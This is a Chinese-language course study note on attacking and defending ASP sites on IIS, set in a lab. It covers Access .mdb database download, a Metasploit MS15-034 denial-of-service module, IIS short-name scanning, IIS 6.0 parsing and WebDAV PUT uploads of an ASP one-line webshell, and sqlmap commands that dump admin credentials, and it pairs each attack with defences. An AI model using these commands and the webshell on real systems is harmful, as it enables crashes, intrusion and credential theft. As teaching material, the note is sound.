41-ASP应用与IIS中间件漏洞实战

第四十一天学习笔记:WEB攻防(ASP应用与IIS中间件漏洞实战)

一、核心知识点总览

本节课聚焦 ASP应用+IIS中间件 的WEB攻防,核心围绕三类高频漏洞展开:

  1. ASP-MDB数据库泄漏:Access数据库因路径固定、无需配置,易被直接下载导致敏感信息泄露;
  2. IIS中间件漏洞:含HTTP.SYS远程漏洞(CVE-2015-1635)、短文件猜解、文件解析漏洞、写权限滥用;
  3. ASP-Access注入:利用SQLMap自动化挖掘注入点,获取数据库账号密码,进而登录后台植入木马。

二、ASP默认风险:MDB数据库泄漏下载

ASP应用常搭配 Access数据库(.mdb文件),其核心风险是"数据库无需额外连接配置,路径固定时可直接远程下载",相当于"把钥匙放在门垫下,知道位置就能拿"。

2.1 漏洞原理

  • Access数据库无需安装数据库服务,仅需在ASP脚本中配置文件路径(如dbpath="/database/#data.mdb")即可使用;
  • 若路径未修改(默认路径)且未限制访问权限,攻击者通过URL直接请求该路径,即可下载.mdb文件,解密后获取用户名、密码等敏感数据。

2.2 实战步骤(以Windows 2003+IIS 6.0为例)

步骤1:搭建测试环境
  1. 启动Windows 2003虚拟机,打开"Internet信息服务(IIS)管理器"(右键"我的电脑"→"管理"→"服务和应用程序");
  2. 找到目标ASP网站(如fyblogs_3.0),记录其绑定的IP地址(如192.168.200.140:81)。
步骤2:远程下载MDB文件
  1. 在攻击机浏览器中访问网站,确认网站可正常打开;

  2. 拼接数据库默认路径(需URL编码特殊字符,如#​编码为%23​),直接请求:

    复制代码
    http://192.168.200.140:81/database/%23data.mdb
  3. 浏览器会自动下载#data.mdb​文件(若未下载,说明路径错误或有访问限制)。

步骤3:解析数据库文件
  1. 用Access软件或数据库查看工具(如"MDB Viewer")打开下载的.mdb文件;
  2. 直接查看admin等核心表,获取明文或加密的用户名/密码(如admin/123456)。
常见问题与解决
问题现象 原因 解决方法
访问URL提示"404未找到" 数据库路径已修改(非默认) 用目录扫描工具(如御剑、7kbscan)猜解路径
下载后文件无法打开 文件被加密或损坏 尝试用工具(如"Access密码破解器")解密

2.3 防御建议

  1. 修改默认路径:将.mdb文件放在IIS网站根目录外(如C:\db\#data.mdb),ASP脚本中通过绝对路径调用;
  2. 隐藏文件后缀:将.mdb文件改名为.asp(如#data.asp),下载后会被IIS解析为脚本,无法直接查看数据;
  3. 限制访问权限:在IIS中给database目录添加"拒绝匿名访问",仅允许ASP脚本通过服务器本地读取。

三、IIS中间件漏洞:从DOS到木马植入

IIS是ASP应用的常用中间件,不同版本存在多种漏洞,攻击者可通过这些漏洞实现拒绝服务、文件读取甚至植入木马。

3.1 漏洞1:HTTP.SYS远程DOS漏洞(CVE-2015-1635)

核心信息
  • 漏洞描述:HTTP.sys(Windows HTTP协议堆栈)未正确解析特殊HTTP请求,导致远程攻击者可在系统账户上下文执行代码或触发DOS(系统蓝屏);
  • 影响版本:Windows 7/Server 2008 R2/8/Server 2012/8.1/Server 2012 R2;
  • 利用场景:无需登录,仅需目标开放HTTP端口(如80、81)。
实战步骤(用Metasploit)
  1. 启动MSF控制台(Kali或Windows下的MSF):

    复制代码
    msfconsole
  2. 加载针对CVE-2015-1635的DOS模块:

    复制代码
    use auxiliary/dos/http/ms15_034_ulonglongadd
  3. 配置目标IP和端口:

    复制代码
    set rhosts 192.168.200.140  # 目标IIS服务器IP
    set rport 81                # 目标HTTP端口
  4. 执行攻击,目标会蓝屏重启(DOS效果):

    复制代码
    run
防御建议
  1. 立即安装Windows安全补丁(如KB3042553);
  2. 关闭不必要的HTTP端口,仅开放业务必需端口;
  3. 在防火墙中限制外部IP对IIS端口的访问。

3.2 漏洞2:IIS短文件猜解漏洞

核心信息
  • 漏洞原理:Windows为兼容16位DOS程序,会给长文件名生成 8.3格式短名(如Database→DATA~1),IIS默认返回短名存在性,攻击者可通过工具猜解敏感文件/目录;
  • 影响版本:IIS 6.0/7.0/7.5/8.0/8.1;
  • 利用场景:获取后台路径(如Admin~1→AdminLogin)、数据库路径(如Data~1→Database)。
实战步骤
  1. 下载工具(lijiejie的IIS短文件扫描器):

    地址:https://github.com/lijiejie/IIS_shortname_Scanner

  2. 在攻击机执行扫描命令,目标为IIS网站根目录:

    复制代码
    python iis_shortname_scan.py http://192.168.200.140:88/
  3. 工具会输出猜解到的短名(如ADMIN~1​→推测为后台目录,DATA~1​→推测为数据库目录);

  4. 拼接路径访问(如http://192.168.200.140:88/ADMIN\~1/​),验证是否为后台登录页。

防御建议
  1. 禁用Windows 8.3文件名格式(修改注册表):
    路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,将NtfsDisable8dot3NameCreation设为1;
  2. 在IIS中配置"自定义404页面",避免泄露文件存在性;
  3. 敏感目录名避免使用长名(如直接用Admin而非AdminLoginPage)。

3.3 漏洞3:IIS文件解析漏洞

核心信息
  • 漏洞原理:IIS对特殊格式文件名的解析规则存在缺陷,可将非ASP文件解析为ASP脚本执行,配合文件上传漏洞可植入木马;
  • 影响版本:IIS 6.0(高危)、IIS 7.x(低危)。
不同版本实战差异
IIS版本 解析规则 利用示例(上传木马)
6.0 1. 忽略分号后内容(.asp;.jpg​→解析为.asp) 2. .asp​目录下所有文件均解析为.asp 1. 上传1.asp;.jpg​(内含ASP一句话木马) 2. 创建1.asp​目录,上传logo.jpg​(内含木马)
7.x 路径后加/xx.php​(/1.jpg/xx.php​→解析为.php) 上传1.jpg​(内含PHP木马),访问http://目标/1.jpg/xx.php​
实战步骤(以IIS 6.0为例)
  1. 准备ASP一句话木马(<%eval request("pass")%>​,"pass"为连接密码);

  2. 将木马文件命名为1.asp;.jpg​,通过网站上传功能上传(假设上传路径为/upload/​);

  3. 访问上传后的文件,IIS会将其解析为ASP脚本:

    复制代码
    http://192.168.200.140:89/upload/1.asp;.jpg
  4. 用webshell管理工具(如哥斯拉),输入URL和密码"pass",即可获取服务器权限。

防御建议
  1. 升级IIS到最新版本,关闭不必要的解析规则;
  2. 限制上传目录的执行权限(IIS中设置"无脚本");
  3. 过滤上传文件名中的特殊字符(如;、/),仅允许jpg、png等白名单后缀。

3.4 漏洞4:IIS写权限滥用(WebDAV开启)

核心信息
  • 漏洞原理:若IIS开启WebDAV服务且配置"允许PUT方法",攻击者可直接向服务器写入文件(如ASP木马);
  • 影响版本:所有支持WebDAV的IIS版本;
  • 利用场景:无文件上传功能时,直接写入木马。
实战步骤(用Postman)
  1. 验证目标是否开启WebDAV:发送OPTIONS请求,若响应头含DAV: 1,2​,说明已开启;

  2. 用Postman发送PUT请求,向目标写入ASP木马(文件名为shell.asp​):

  3. 若响应状态码为201 Created​,说明写入成功;

  4. 访问http://192.168.200.140:81/shell.asp​,用哥斯拉连接即可。

防御建议
  1. 关闭WebDAV服务(IIS管理器→网站→"WebDAV创作规则"→禁用);
  2. 限制HTTP方法,仅允许GET、POST,拒绝PUT、DELETE;
  3. 给网站目录设置"只读"权限,禁止写入。

四、ASP-SQL注入:Access数据库与SQLMap实战

Access数据库无账号密码,结构简单(表→列→数据),攻击者可通过SQL注入获取核心数据,进而登录后台。

4.1 漏洞原理

ASP脚本若直接拼接SQL语句(未过滤用户输入),会导致注入漏洞。例如:

复制代码
' 危险代码:直接用classid参数拼接SQL
sql = "select * from pic where classid=" & request("classid")

攻击者可构造classid=3 and 1=2 union select 1,2,3​,猜解字段数并获取数据。

4.2 实战步骤(用SQLMap)

步骤1:确认注入点

目标URL:http://192.168.200.140:89/Pic.asp?classid=3​(classid​为注入参数)。

步骤2:用SQLMap获取数据库表名
复制代码
# --tables:获取所有表名
python sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --tables

执行后会列出Access数据库的表(如admin​、pic​,admin​表大概率存账号密码)。

步骤3:获取admin表的列名
复制代码
# -T admin:指定表名;--columns:获取该表的列名
python sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" -T admin --columns

执行后会列出admin​表的列(如username​、password​)。

步骤4:导出账号密码数据
复制代码
# -C "username,password":指定列名;--dump:导出数据
python sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" -T admin -C "username,password" --dump

执行后会显示username​和password​(password​可能为MD5加密,需用工具解密,如"MD5在线解密")。

步骤5:找到后台登录页并登录
  1. 用IIS短文件扫描器或目录扫描工具(御剑),找到后台路径(如http://192.168.200.140:89/Tcnet/Admin_Login.asp);
  2. 输入解密后的用户名/密码,登录后台;
  3. 后续可通过后台"文件上传"功能,植入木马(如利用IIS解析漏洞)。

4.3 防御建议

  1. 过滤用户输入:用Replace函数过滤SQL关键字(如'、union、and);
  2. 使用参数化查询:Access支持ADODB.Command参数化,避免直接拼接SQL;
  3. 最小权限:ASP脚本运行账号仅授予"读取"权限,禁止修改/删除数据库。

五、总结:ASP+IIS攻防核心清单

漏洞类型 利用关键 防御核心
MDB数据库泄漏 默认路径+直接下载 改路径+隐藏后缀+限权限
HTTP.SYS(CVE-2015-1635) MSF DOS模块+目标HTTP端口 装补丁+防火墙限制
IIS短文件 8.3短名+扫描工具 禁用短名+自定义404
IIS解析漏洞 特殊文件名(.asp;.jpg)+上传 限上传后缀+禁目录执行权限
IIS写权限(WebDAV) PUT方法+写入木马 关WebDAV+禁PUT方法
Access注入 SQLMap自动化+猜解表列 过滤输入+参数化查询

结尾交付物提议

ASP+IIS漏洞防御 Checklist

本清单按"高危优先、操作落地"原则整理,覆盖ASP+IIS环境核心漏洞,每个防御点含"操作步骤+验证方法",可直接用于测试/运维自查。

一、MDB数据库泄漏防御(高危)

防御点 操作步骤 验证方法
1. 修改默认数据库路径 1. 将.mdb​文件移至IIS网站根目录外(如C:\DB\#data.mdb​,而非C:\inetpub\wwwroot\database​); 2. 在ASP脚本中用绝对路径调用:dbpath="C:\DB\#data.mdb"​。 访问原默认路径(如http://IP/database/%23data.mdb​),应返回404。
2. 隐藏数据库文件后缀 将.mdb​后缀改为.asp​(如#data.mdb​→#data.asp​),ASP脚本调用路径同步修改。 下载修改后的文件(http://IP/DB/#data.asp​),会被IIS解析为脚本(显示乱码/报错),无法直接查看数据。
3. 限制数据库目录权限 1. 打开IIS管理器→找到database​(或存放数据库的目录)→右键"属性"→"目录安全性"; 2. 点击"编辑"(匿名访问和身份验证控制)→取消"匿名访问"→确定。 匿名用户访问数据库路径,应弹出登录验证框(401未授权)。

二、IIS中间件漏洞防御(中高危)

相关推荐
眠りたいです4 小时前
Docker:容器虚拟化技术基础-namespace,cgroups,资源管理与LXC
运维·docker·中间件·容器
济南java开发,求内推5 小时前
中间件升级
中间件
六行神算API-天璇20 小时前
架构思考:大模型作为医疗科研的“智能中间件”
人工智能·中间件·架构·数据挖掘·ar
yours_Gabriel1 天前
【一】常用中间件及用处
中间件
feathered-feathered1 天前
Redis基础知识+RDB+AOF(面试)
java·数据库·redis·分布式·后端·中间件·面试
Geoking.1 天前
什么是中间件?有哪些中间件?
中间件
闲人编程1 天前
CORS跨域配置与安全策略
中间件·origin·跨域·cors·codecapsule·分离配置·最小权限
你真的可爱呀2 天前
2.Express 核心语法与路由
中间件·node.js·express
feathered-feathered2 天前
Redis【事务】(面试相关)与MySQL相比较,重点在Redis事务
android·java·redis·后端·mysql·中间件·面试